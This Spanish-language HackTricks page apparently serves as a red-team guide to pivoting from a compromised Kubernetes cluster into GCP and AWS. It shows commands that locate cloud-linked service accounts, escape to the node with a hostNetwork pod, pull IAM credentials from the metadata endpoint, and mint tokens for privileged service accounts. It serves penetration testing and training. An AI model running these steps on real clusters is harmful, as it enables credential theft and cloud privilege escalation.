Kubernetes Pivoting to Clouds

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

GCP

Si estás ejecutando un cluster k8s dentro de GCP probablemente querrás que alguna aplicación que se ejecute dentro del cluster tenga acceso a GCP. Hay 2 formas comunes de hacerlo:

Mounting GCP-SA keys as secret

Una forma común de dar acceso a una aplicación de kubernetes a GCP es:

  • Crear un GCP Service Account
  • Asignarle los permisos deseados
  • Descargar una json key de la SA creada
  • Montarla como un secret dentro del pod
  • Configurar la variable de entorno GOOGLE_APPLICATION_CREDENTIALS apuntando a la ruta donde está el json.

Warning

Por lo tanto, como attacker, si comprometes un contenedor dentro de un pod, deberías comprobar esa env variable y json files con credenciales de GCP.

Relating GSA json to KSA secret

Una manera de dar acceso a una GSA a un clúster GKE es vinculándolas de esta manera:

  • Create a Kubernetes service account in the same namespace as your GKE cluster using the following command:
kubectl create serviceaccount <service-account-name>
  • Crea un Kubernetes Secret que contenga las credenciales del service account de GCP al que quieres conceder acceso al GKE cluster. Puedes hacerlo usando la herramienta de línea de comandos gcloud, como se muestra en el siguiente ejemplo:
gcloud iam service-accounts keys create <key-file-name>.json \
--iam-account <gcp-service-account-email>
kubectl create secret generic <secret-name> \
--from-file=key.json=<key-file-name>.json
  • Vincula el Kubernetes Secret a la Kubernetes service account usando el siguiente comando:
kubectl annotate serviceaccount <service-account-name> \
iam.gke.io/gcp-service-account=<gcp-service-account-email>

Warning

En el segundo paso se configuraron las credenciales del GSA como secret del KSA. Entonces, si puedes leer ese secret desde dentro del cluster GKE, puedes escalar a esa cuenta de servicio GCP.

GKE Workload Identity

Con Workload Identity, podemos configurar un Kubernetes service account para actuar como un Google service account. Los pods que se ejecuten con la Kubernetes service account se autenticarán automáticamente como la Google service account al acceder a Google Cloud APIs.

Los primeros pasos para habilitar este comportamiento son habilitar Workload Identity en GCP (steps) y crear la GCP SA que quieras que k8s suplante.

  • Habilitar Workload Identity en un nuevo cluster
gcloud container clusters update <cluster_name> \
--region=us-central1 \
--workload-pool=<project-id>.svc.id.goog
  • Crear/Actualizar un nuevo nodepool (los Autopilot clusters no necesitan esto)
# You could update instead of create
gcloud container node-pools create <nodepoolname> --cluster=<cluser_name> --workload-metadata=GKE_METADATA --region=us-central1
  • Crear la GCP Service Account para suplantar desde K8s con permisos de GCP:
# Create SA called "gsa2ksa"
gcloud iam service-accounts create gsa2ksa --project=<project-id>

# Give "roles/iam.securityReviewer" role to the SA
gcloud projects add-iam-policy-binding <project-id> \
--member "serviceAccount:gsa2ksa@<project-id>.iam.gserviceaccount.com" \
--role "roles/iam.securityReviewer"
  • Conéctate al cluster y crea la service account a usar
# Get k8s creds
gcloud container clusters get-credentials <cluster_name> --region=us-central1

# Generate our testing namespace
kubectl create namespace testing

# Create the KSA
kubectl create serviceaccount ksa2gcp -n testing
  • Vincular la GSA con la KSA
# Allow the KSA to access the GSA in GCP IAM
gcloud iam service-accounts add-iam-policy-binding gsa2ksa@<project-id.iam.gserviceaccount.com \
--role roles/iam.workloadIdentityUser \
--member "serviceAccount:<project-id>.svc.id.goog[<namespace>/ksa2gcp]"

# Indicate to K8s that the SA is able to impersonate the GSA
kubectl annotate serviceaccount ksa2gcp \
--namespace testing \
iam.gke.io/gcp-service-account=gsa2ksa@security-devbox.iam.gserviceaccount.com
  • Ejecuta un pod con la KSA y comprueba el acceso a la GSA:
# If using Autopilot remove the nodeSelector stuff!
echo "apiVersion: v1
kind: Pod
metadata:
name: workload-identity-test
namespace: <namespace>
spec:
containers:
- image: google/cloud-sdk:slim
name: workload-identity-test
command: ['sleep','infinity']
serviceAccountName: ksa2gcp
nodeSelector:
iam.gke.io/gke-metadata-server-enabled: 'true'" | kubectl apply -f-

# Get inside the pod
kubectl exec -it workload-identity-test \
--namespace testing \
-- /bin/bash

# Check you can access the GSA from insie the pod with
curl -H "Metadata-Flavor: Google" http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/email
gcloud auth list

Comprueba el siguiente comando para autenticarte si es necesario:

gcloud auth activate-service-account --key-file=/var/run/secrets/google/service-account/key.json

Warning

Como atacante dentro de K8s deberías buscar SAs con la iam.gke.io/gcp-service-account anotación ya que eso indica que el SA puede acceder a algo en GCP. Otra opción sería intentar abusar de cada KSA en el cluster y comprobar si tiene acceso.
Desde GCP siempre es interesante enumerar los bindings y saber qué acceso les estás dando a los SAs dentro de Kubernetes.

Este es un script para iterar fácilmente sobre todas las definiciones de pods buscando esa anotación:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "gcp-service-account"
echo ""
echo ""
done
done | grep -B 1 "gcp-service-account"

AWS

Kiam & Kube2IAM (IAM role for Pods)

Una forma (obsoleta) de dar IAM Roles a los Pods es usar un Kiam o un Kube2IAM servidor. Básicamente necesitarás ejecutar un daemonset en tu clúster con un rol IAM privilegiado. Este daemonset será el que otorgue acceso a IAM roles a los pods que lo necesiten.

Primero debes configurar qué roles pueden ser accedidos dentro del namespace, y eso se hace con una anotación dentro del objeto namespace:

kind: Namespace
metadata:
name: iam-example
annotations:
iam.amazonaws.com/permitted: ".*"
apiVersion: v1
kind: Namespace
metadata:
annotations:
iam.amazonaws.com/allowed-roles: |
["role-arn"]
name: default

Una vez que el namespace esté configurado con los IAM roles que los Pods pueden tener, puedes indicar el role que quieres en cada definición de pod con algo como:

kind: Pod
metadata:
name: foo
namespace: external-id-example
annotations:
iam.amazonaws.com/role: reportingdb-reader

Warning

Como atacante, si encuentras estas anotaciones en pods o namespaces o un servidor kiam/kube2iam en ejecución (probablemente en kube-system) puedes suplantar cada rol que ya está usado por los pods y más (si tienes acceso a la cuenta de AWS, enumera los roles).

Create Pod with IAM Role

Note

El IAM role que se indique debe estar en la misma cuenta de AWS que el role de kiam/kube2iam y ese role debe poder acceder a él.

echo 'apiVersion: v1
kind: Pod
metadata:
annotations:
iam.amazonaws.com/role: transaction-metadata
name: alpine
namespace: eevee
spec:
containers:
- name: alpine
image: alpine
command: ["/bin/sh"]
args: ["-c", "sleep 100000"]' | kubectl apply -f -

IAM Role for K8s Service Accounts via OIDC

Esta es la forma recomendada por AWS.

  1. Primero necesitas create an OIDC provider for the cluster.
  2. Luego creas un IAM role con los permisos que la SA requerirá.
  3. Crea una trust relationship between the IAM role and the SA (o con los namespaces para dar acceso al role a todas las SAs del namespace). La trust relationship comprobará principalmente el nombre del proveedor OIDC, el nombre del namespace y el nombre de la SA.
  4. Finalmente, create a SA with an annotation indicating the ARN of the role, y los pods que se ejecuten con esa SA tendrán access to the token of the role. El token está written dentro de un archivo y la ruta se especifica en AWS_WEB_IDENTITY_TOKEN_FILE (default: /var/run/secrets/eks.amazonaws.com/serviceaccount/token)
# Create a service account with a role
cat >my-service-account.yaml <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
name: my-service-account
namespace: default
annotations:
eks.amazonaws.com/role-arn: arn:aws:iam::318142138553:role/EKSOIDCTesting
EOF
kubectl apply -f my-service-account.yaml

# Add a role to an existent service account
kubectl annotate serviceaccount -n $namespace $service_account eks.amazonaws.com/role-arn=arn:aws:iam::$account_id:role/my-role

Para obtener aws usando el token desde /var/run/secrets/eks.amazonaws.com/serviceaccount/token, ejecuta:

aws sts assume-role-with-web-identity --role-arn arn:aws:iam::123456789098:role/EKSOIDCTesting --role-session-name something --web-identity-token file:///var/run/secrets/eks.amazonaws.com/serviceaccount/token

Warning

Como atacante, si puedes enumerar un cluster K8s, busca service accounts con esa anotación para escalar a AWS. Para hacerlo, simplemente exec/create un pod usando una de las IAM privileged service accounts y roba el token.

Además, si estás dentro de un pod, revisa variables de entorno como AWS_ROLE_ARN y AWS_WEB_IDENTITY_TOKEN.

Caution

A veces la Trust Policy de un role puede estar mal configurada y, en lugar de dar acceso AssumeRole a la service account esperada, lo da a todas las service accounts. Por lo tanto, si eres capaz de escribir una anotación en una service account que controlas, puedes acceder al role.

Consulta la siguiente página para más información:

AWS - Federation Abuse

Find Pods a SAs with IAM Roles in the Cluster

Este es un script para iterar fácilmente sobre todas las definiciones de pods y sas buscando esa anotación:

for ns in `kubectl get namespaces -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
for pod in `kubectl get pods -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "Pod: $ns/$pod"
kubectl get pod "$pod" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
for sa in `kubectl get serviceaccounts -n "$ns" -o custom-columns=NAME:.metadata.name | grep -v NAME`; do
echo "SA: $ns/$sa"
kubectl get serviceaccount "$sa" -n "$ns" -o yaml | grep "amazonaws.com"
echo ""
echo ""
done
done | grep -B 1 "amazonaws.com"

De IAM Role del Node a cluster-admin

La sección previa trataba sobre cómo robar IAM Roles con pods, pero ten en cuenta que un Node of the K8s cluster va a ser una instancia inside the cloud. Esto significa que es muy probable que el Node tenga un IAM role que puedas robar (nota: normalmente todos los nodes de un K8s cluster tendrán el mismo IAM role, por lo que puede no valer la pena intentar comprobar cada node).

Para acceder al node metadata endpoint necesitas:

  • Estar en un pod y que el metadata endpoint esté configurado a al menos 2 tcp hops. Esta es la misconfiguración más común, ya que generalmente diferentes pods en el cluster requerirán acceso al metadata endpoint para no romperse y varias compañías simplemente deciden permitir acceso al metadata endpoint desde todos los pods del cluster.
  • Estar en un pod con hostNetwork enabled.
  • Escapar al node y acceder al metadata endpoint directamente.

(Nota: el metadata endpoint está en 169.254.169.254 como siempre).

Para escapar al node puedes usar el siguiente comando para ejecutar un pod con hostNetwork enabled:

kubectl run NodeIAMStealer --restart=Never -ti --rm --image lol --overrides '{"spec":{"hostNetwork": true, "containers":[{"name":"1","image":"alpine","stdin": true,"tty":true,"imagePullPolicy":"IfNotPresent"}]}}'

Steal IAM Role Token

Anteriormente hemos discutido cómo attach IAM Roles to Pods o incluso cómo escape to the Node to steal the IAM Role que la instancia tiene asignada.

Puedes usar el siguiente script para steal tus nuevas IAM role credentials ganadas con esfuerzo:

IAM_ROLE_NAME=$(curl http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>/dev/null || wget  http://169.254.169.254/latest/meta-data/iam/security-credentials/ -O - 2>/dev/null)
if [ "$IAM_ROLE_NAME" ]; then
echo "IAM Role discovered: $IAM_ROLE_NAME"
if ! echo "$IAM_ROLE_NAME" | grep -q "empty role"; then
echo "Credentials:"
curl "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" 2>/dev/null || wget "http://169.254.169.254/latest/meta-data/iam/security-credentials/$IAM_ROLE_NAME" -O - 2>/dev/null
fi
fi

Privesc to cluster-admin

En resumen: si es posible acceder al EKS Node IAM role desde un pod, es posible comprometer todo el kubernetes cluster.

Para más información consulta this post. Como resumen, el IAM EKS role por defecto que se asigna a los EKS nodes se mapea al rol system:node dentro del cluster. Este role es muy interesante, aunque está limitado por las Node Restrictions de kubernetes.

Sin embargo, el node siempre puede generar tokens para service accounts que estén ejecutándose en pods dentro del node. Por lo tanto, si el node está ejecutando un pod con una privileged service account, el node puede generar un token para esa service account y usarlo para impersonate la service account como en:

kubectl --context=node1 create token -n ns1 sa-priv \
--bound-object-kind=Pod \
--bound-object-name=pod-priv \
--bound-object-uid=7f7e741a-12f5-4148-91b4-4bc94f75998d

Referencias

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks